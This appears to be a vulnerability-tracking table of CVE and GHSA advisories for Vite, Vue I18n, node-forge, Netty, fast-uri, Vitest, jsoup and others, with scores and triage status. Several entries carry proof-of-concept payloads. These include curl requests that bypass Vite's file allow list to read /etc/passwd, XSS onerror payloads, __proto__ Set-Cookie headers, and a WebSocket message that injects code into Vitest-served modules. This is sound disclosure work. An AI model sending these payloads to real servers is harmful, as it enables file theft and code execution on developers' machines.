False positive | 2025-03-25 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. ### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ``` | |
| 5.3CVSS 4.0 | GHSA-x8qp-wqqm-57ph
CVE-2025-53892 |
Resolved | 2025-07-16 | 5.4 ×14 | ### Summary The escapeParameterHtml: true option in Vue I18n is designed to protect against HTML/script injection by escaping interpolated parameters. However, this setting fails to prevent execution of certain tag-based payloads, such as `<img src=x onerror=...>`, if the interpolated value is inserted inside an HTML context using v-html. This may lead to a DOM-based XSS vulnerability, even when using escapeParameterHtml: true, if a translation string includes minor HTML and is rendered via v-html. ### Details When escapeParameterHtml: true is enabled, it correctly escapes common injection points. However, it does not sanitize entire attribute contexts, which can be used as XSS vectors via: `<img src=x onerror=alert(1)> ` ### PoC In your Vue I18n configuration: ``` const i18n = createI18n({ escapeParameterHtml: true, messages: { en: { vulnerable: 'Caution: <img src=x onerror="{payload}">' } } }); ``` Use this interpolated payload: `const payload = '<script>alert("xss")</script>';` Render the translation using v-html (even not using v-html): `<p v-html="$t('vulnerable', { payload })"></p> ` Expected: escaped content should render as text, not execute. Actual: script executes in some environments (or the payload is partially parsed as HTML). ### Impact This creates a DOM-based Cross-Site Scripting (XSS) vulnerability despite enabling a security option (escapeParameterHtml) . | |
| 5.3CVSS 3.1 | GHSA-xcj6-pq6g-qj4x
CVE-2025-31486 |
False positive | 2025-04-04 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details #### `.svg` Requests ending with `.svg` are loaded at this line. https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290 By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass. This bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+. #### relative paths The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`). ### PoC ```bash npm create vite@latest cd vite-project/ npm install npm run dev ``` send request to read `etc/passwd` ```bash curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init' ``` ```bash curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw' ``` | |
| 5.0CVSS 2.0 | CVE-2007-3205
|
Resolved | 2007-06-13 | 5.5 ×205.4 ×14 | The parse_str function in (1) PHP, (2) Hardened-PHP, and (3) Suhosin, when called without a second parameter, might allow remote attackers to overwrite arbitrary variables by specifying variable names and values in the string to be parsed. NOTE: it is not clear whether this is a design limitation of the function or a bug in PHP, although it is likely to be regarded as a bug in Hardened-PHP and Suhosin. | |
| 4.9CVSS 3.1 | CVE-2025-68390
|
Not affected | 2025-12-18 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow an authenticated user with snapshot restore privileges to cause Excessive Allocation (CAPEC-130) of memory and a denial of service (DoS) via crafted HTTP request. | |
| 4.9CVSS 3.1 | CVE-2026-0871
|
Not affected | 2026-02-27 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | A flaw was found in Keycloak. An administrator with `manage-users` permission can bypass the "Only administrators can view" setting for unmanaged attributes, allowing them to modify these attributes. This improper access control can lead to unauthorized changes to user profiles, even when the system is configured to restrict such modifications. | |
| 4.8CVSS 3.1 | CVE-2021-29425
GHSA-gwrp-pvrq-jmwv |
Resolved | 2021-04-13 | 5.5 ×85.4 ×14 | In Apache Commons IO before 2.7, When invoking the method FileNameUtils.normalize with an improper input string, like "//../foo", or "\\..\foo", the result would be the same value, thus possibly providing access to files in the parent directory, but not further above (thus "limited" path traversal), if the calling code would use the result to construct a path value. | |
| 4.8CVSS 3.1 | CVE-2024-6783
GHSA-g3ch-rx76-35fx |
Not affected | 2024-07-23 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | A vulnerability has been discovered in Vue, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as `Object.prototype.staticClass` or `Object.prototype.staticStyle` to execute arbitrary JavaScript code. | |
| 4.8CVSS 3.1 | CVE-2026-50009
GHSA-cq4q-cv5g-r8q5 |
Resolved | 2026-06-12 | 5.7 ×35.6 ×2 | Netty is a network application framework for development of protocol servers and clients. Prior to version 4.2.15.Final, Netty QUIC exposes the stateless reset token on the network path when using the default HMAC-based connection-ID and stateless-reset-token generators. The reset token for the server's current source connection ID can be derived from bytes that appear as the connection ID in QUIC headers after a source-CID rotation. An on-path attacker observing the headers can use the token to perform a Denial of Service by sending a spoofed Stateless Reset packet. Version 4.2.15.Final patches the issue. | |
| 4.8CVSS 3.1 | CVE-2026-86472
GHSA-hrr3-gc8f-f4qj |
Resolved | 2026-09-15 | 5.6 ×95.5 ×205.4 ×14 | fast-uri is a dependency-free RFC 3986 URI parser for Node.js, used by Fastify and ajv. In versions before 2.4.7, from 3.0.0 through 3.1.7, and from 4.0.0 through 4.1.4, fast-uri folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase octet such as %41 decodes to a literal A that is never folded. For a scheme-relative reference such as //host there is no scheme, so the host canonicalization that would normally repair this does not run, and parse, normalize, and equal then disagree on the same host. An application that makes a case-sensitive host decision on fast-uri output, for example a host allowlist or denylist that compares the parsed host or uses equal, can be steered past the check with a percent-encoded uppercase octet, and because hostnames are case-insensitive in DNS and HTTP the evading spelling still reaches the host the check meant to gate. The issue is fixed in fast-uri 2.4.7, 3.1.8, and 4.1.5, and users should upgrade to one of those versions or later. As a workaround, compare hosts case-insensitively by lowercasing the parsed host before any allowlist or denylist decision. | |
| 4.8CVSS 3.1 | GHSA-6wvx-3r32-xmcg | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The `forge.http` client stored cookies from `Set-Cookie` response headers in a plain object keyed by cookie name and path. A malicious server could use the cookie name `__proto__` to add properties to `Object.prototype`, use inherited names such as `constructor` to add properties to `Object`, and send an empty cookie value to delete `Object.prototype` properties. Fixed in node-forge 1.4.1. ### Details `client.setCookie()` in `lib/http.js` stored a cookie with `client.cookies[cookie.name][cookie.path] = cookie`, creating `client.cookies[cookie.name]` only when `!(cookie.name in client.cookies)`. Both values come from the server's `Set-Cookie` header via `response.getCookies()`. Because `in` also sees inherited properties: - a cookie named `__proto__` skipped the initialization, `client.cookies['__proto__']` returned `Object.prototype`, and the cookie path was written as a new `Object.prototype` property, visible on every object; - a cookie named `constructor` wrote onto the global `Object` function the same way; - a cookie with an empty value calls `client.removeCookie(name, path)`, which used the same `in` checks and then `delete client.cookies[name][path]`, so `Set-Cookie: __proto__=; path=toString` deleted `Object.prototype.toString`. This path skipped the cookie's secure-flag and domain checks, so it also worked for `http://` clients. `forge.http` is not loaded by `require('node-forge')`. It is included in the `forge.all` browser bundle and is used with a socket pool, for example by `forge.xhr`. The fix uses own-property checks for the cookie store and ignores cookies named `__proto__` or with the path `__proto__`. #### Patches Fixed in node-forge 1.4.1. Cookies from a server can no longer add or remove properties of `Object.prototype` or `Object`. #### Workarounds Don't use `forge.http` or `forge.xhr` with servers that aren't trusted, or filter `Set-Cookie` headers named `__proto__`, `constructor` or other `Object.prototype` property names before they reach the client. #### Credits Reported by @arunmozhivarman-dtx and @Dremig. ### Proof of concept A server response for a `forge.http` client (`http.createClient({url: 'https://...', socketPool: ...})`) containing: Set-Cookie: __proto__=evil; path=polluted On 1.4.0, after the client processes the response, `({}).polluted` is the cookie object. With `Set-Cookie: __proto__=; path=toLocaleString`, `Object.prototype.toLocaleString` is deleted (for `http://` and `https://` clients). On 1.4.1 these cookies are ignored and `Object.prototype` is unchanged. Regression tests are in tests/security/ghsa-6wvx-3r32-xmcg.js. ### Impact Applications that use the `forge.http` client (directly, or through `forge.xhr` in the `forge.all` browser bundle) against a server that can be malicious are affected. The server can add properties to `Object.prototype` and `Object` for the whole JavaScript realm, which can change application logic that reads properties from plain objects, and can delete built-in `Object.prototype` methods, breaking the page or process. Applications that don't use `forge.http` are not affected. | |
| 4.8CVSS 3.1 | GHSA-cq4q-cv5g-r8q5
CVE-2026-50009 |
Resolved | 2026-06-15 | 5.7 ×35.6 ×2 | ### Summary Netty QUIC exposes the stateless reset token on the network path when using the default HMAC-based connection-ID and stateless-reset-token generators. The reset token for the server's current source connection ID can be derived from bytes that appear as the connection ID in QUIC headers after a source-CID rotation. An on-path attacker observing the headers can use the token to perform a Denial of Service by sending a spoofed Stateless Reset packet. ### Details The sign-based connection ID generator (HmacSignQuicConnectionIdGenerator) and reset token generator (HmacSignQuicResetTokenGenerator) both evaluate HMAC-SHA256 with the same JVM-wide static key (io.netty.handler.codec.quic.Hmac). During source CID rotation (QuicheQuicChannel.newSourceConnectionIds), the current server source CID C is used as input to produce the next CID N. The stateless reset token for C is defined over HMAC(K, C), specifically the first 16 bytes. The next CID N is the first L bytes of the same digest, where L = |C|. Whenever L ≥ 16, the first 16 bytes of N are exactly the stateless reset token for C. Because N is carried in QUIC headers as a connection ID, an observer can read the headers and learn the reset token without decrypting the payload. This directly violates RFC 9000 https://datatracker.ietf.org/doc/html/rfc9000#name-calculating-a-stateless-res: `The stateless reset token MUST be difficult to guess.` Additionally https://datatracker.ietf.org/doc/html/rfc9000#name-stateless-reset-oracle ### Impact Information Disclosure and Denial of Service. An on-path attacker can obtain the stateless reset token from the connection ID header and attempt to abruptly close the client side of the connection by sending a spoofed Stateless Reset datagram. | |
| 4.8CVSS 3.1 | GHSA-gwrp-pvrq-jmwv
CVE-2021-29425 |
Resolved | 2021-04-26 | 5.5 ×85.4 ×14 | In Apache Commons IO before 2.7, When invoking the method FileNameUtils.normalize with an improper input string, like "//../foo", or "\\..\foo", the result would be the same value, thus possibly providing access to files in the parent directory, but not further above (thus "limited" path traversal), if the calling code would use the result to construct a path value. | |
| 4.8CVSS 3.1 | GHSA-hrr3-gc8f-f4qj
CVE-2026-86472 |
Resolved | 2026-09-29 | 5.6 ×95.5 ×205.4 ×14 | ### Impact `fast-uri` folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase unreserved octet such as `%41` decodes to a literal `A` that is never folded. For a scheme-relative reference (`//host`) there is no scheme, so the host canonicalization that repairs this on a scheme-bearing URL does not run. As a result `parse`, `normalize`, and `equal` disagree on the same host: `parse("//%41.com").host` returns `"A.com"` while `parse("//a.com").host` and `parse("//A.com").host` return `"a.com"`, and `equal("//%41.com", "//a.com")` is `false` even though `equal("//A.com", "//a.com")` is `true`. An application that makes a case-sensitive host decision on `fast-uri` output for a scheme-relative reference, for example a host allowlist or denylist that compares `parse(url).host` or uses `fast-uri.equal`, can be steered past the check with a percent-encoded uppercase octet. Because a hostname is case-insensitive in DNS and HTTP routing, the evading spelling reaches the same host the check meant to gate, so the effect is check evasion rather than reaching a different registrable host. ### Patches Upgrade to `fast-uri` 4.1.5, 3.1.8, or 2.4.7. ### Workarounds Compare hosts case-insensitively (lowercase the parsed host before any allowlist or denylist decision), or avoid making case-sensitive host decisions on scheme-relative input until upgrading. | |
| 4.7CVSS 3.1 | CVE-2026-112949
GHSA-qxg6-89mg-rqv8 |
In triage | 2026-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3. | |
| 4.7CVSS 3.1 | CVE-2026-14620
GHSA-f5vj-f2hx-8m93 |
False positive | 2026-07-03 | 5.6 ×95.5 ×205.4 ×14 | webpack-dev-server versions 5.2.5 and earlier expose two internal developer endpoints, /webpack-dev-server/open-editor and /webpack-dev-server/invalidate, that perform state-changing actions on any GET request without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger these endpoints cross-origin with no interaction beyond the visit. An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root, and repeated requests can spawn editor processes and force recompilations that degrade the developer's machine. Patches: upgrade to webpack-dev-server 5.2.6. Workarounds: none. | |
| 4.7CVSS 3.1 | CVE-2026-71497
GHSA-pmhh-3w7g-xqp8 |
Resolved | 2026-08-06 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | jsoup is a Java library for working with real-world HTML. From 1.14.3 until 1.23.1, jsoup's HTML parser could incorrectly handle a malformed tag name ending in a control character, causing the tag to acquire the parsing behavior of a different element. When a custom Safelist permits certain raw-text elements, this misparsing can cause content that should remain inert text to be emitted as active markup after serialization, potentially resulting in cross-site scripting. jsoup's built-in Safelists are not affected. This issue is fixed in version 1.23.1. | |
| 4.7CVSS 3.1 | GHSA-f5vj-f2hx-8m93
CVE-2026-14620 |
False positive | 2026-07-20 | 5.6 ×95.5 ×205.4 ×14 | ### Impact The internal `/webpack-dev-server/open-editor` and `/webpack-dev-server/invalidate` endpoints perform state-changing actions on any `GET` request, without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger them cross-origin with no interaction beyond the visit. An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root (e.g. `~/.ssh/config`). The file's contents are not returned to the attacker. Repeated requests can also spawn editor processes and force recompilations, degrading the developer's machine. ### Patches Fixed in `webpack-dev-server` 5.2.6 by rejecting cross-site requests to the `/webpack-dev-server/open-editor` and `/webpack-dev-server/invalidate` endpoints (see [PR #5698](https://github.com/webpack/webpack-dev-server/pull/5698)). ### Workarounds None | |
| 4.7CVSS 3.1 | GHSA-pmhh-3w7g-xqp8
CVE-2026-71497 |
Resolved | 2026-08-06 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | When a custom `Safelist` permits certain raw-text elements, jsoup may incorrectly sanitize malformed HTML containing a tag name that ends in a control character. The tag may acquire the parsing behavior of a different element, causing content that should remain text to be emitted as active markup after serialization and potentially allowing XSS. jsoup’s built-in Safelists are unaffected. ## Patches Upgrade to jsoup 1.23.1. ## Workarounds Until upgrading, do not permit raw-text elements in custom Safelists used to clean untrusted HTML. ## Additional security considerations This fix addresses malformed tag-name handling only. Permitting raw-text elements in a custom `Safelist` does not make their contents inherently safe. For example, applications that permit `style` must apply appropriate CSS safeguards separately, because jsoup does not parse or sanitize CSS. | |
| 4.7CVSS 3.1 | GHSA-qxg6-89mg-rqv8
CVE-2026-112949 |
In triage | 2026-10-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin. Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator. ### Patches Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code. Projects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3. ### Details `packages/mocker/src/utils.ts:6-9` builds module source by string interpolation: ```ts export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string { const source = ` const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}"); ` ``` `moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation. `packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket: ```ts configureServer(server) { if (options.registerWebSocketEvents === false) { return } server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => { if (event.type === 'manual') { const module = ManualMockedModule.fromJSON(event, async () => { const keys = await getFactoryExports(event.url) return Object.fromEntries(keys.map(key => [key, null])) }) registry.add(module) // no validation of `id` or `url` } else { if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ } ``` `event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id. With `url = 'x"); globalThis.ARES_INJECTED = 1; void("'` a request for `/src/app.js` is answered with valid, executable JavaScript: ```js const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void(""); ``` `getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__["X"]`, `export { __0 as "X" }` and `resolvedModule["X"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one. **Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published. ### PoC `poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it. Environment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64. ```bash git clone https://github.com/vitest-dev/vitest && cd vitest git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a pnpm install && pnpm build REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh ``` Required configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way): ```ts import { interceptorPlugin } from '@vitest/mocker/node' export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin() ``` The attack is one WebSocket message to `ws://<host>:<port>/` with subprotocol `vite-hmr`: ```json { "type": "custom", "event": "vitest:interceptor:register", "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>", "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } } ``` then answering the server's `vitest:interceptor:resolve` with `{"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used. Observed output: ``` PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400 PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400 PASS negative control: with no mock registered the real module is served PASS negative control: a mock with a harmless url replaces the module but injects nothing --- module served for /src/app.js --- const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void(""); let __0 = __factoryModule__["a"] export { __0 as "a" } if (__factoryModule__.__factoryPromise != null) { __factoryModule__.__factoryPromise.then((resolvedModule) => { __0 = resolvedModule["a"]; }) } PASS attacker statement is present in the module the dev server serves PASS the real module body was replaced PASS the injected module parses as JavaScript (Vite import analysis accepted it) RESULT: VULNERABLE ``` * **Positive control** — with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works. * **Negative control** — the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration. * **Precondition controls** — the two `Origin` probes record the boundary honestly. * Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript. Reproduced three times from a clean `mktemp` fixture, exit 0 each time. ### Impact Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only — `configureServer` does not run for `vite build` or `vite preview`. ### Credits - Thai Son Dinh from VinSOC Labs (R&D) Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report. | |
| 4.4CVSS 3.1 | CVE-2021-28099
|
False positive | 2021-03-23 | 5.5 ×95.4 ×12 | In Netflix OSS Hollow, since the Files.exists(parent) is run before creating the directories, an attacker can pre-create these directories with wide permissions. Additionally, since an insecure source of randomness is used, the file names to be created can be deterministically calculated. |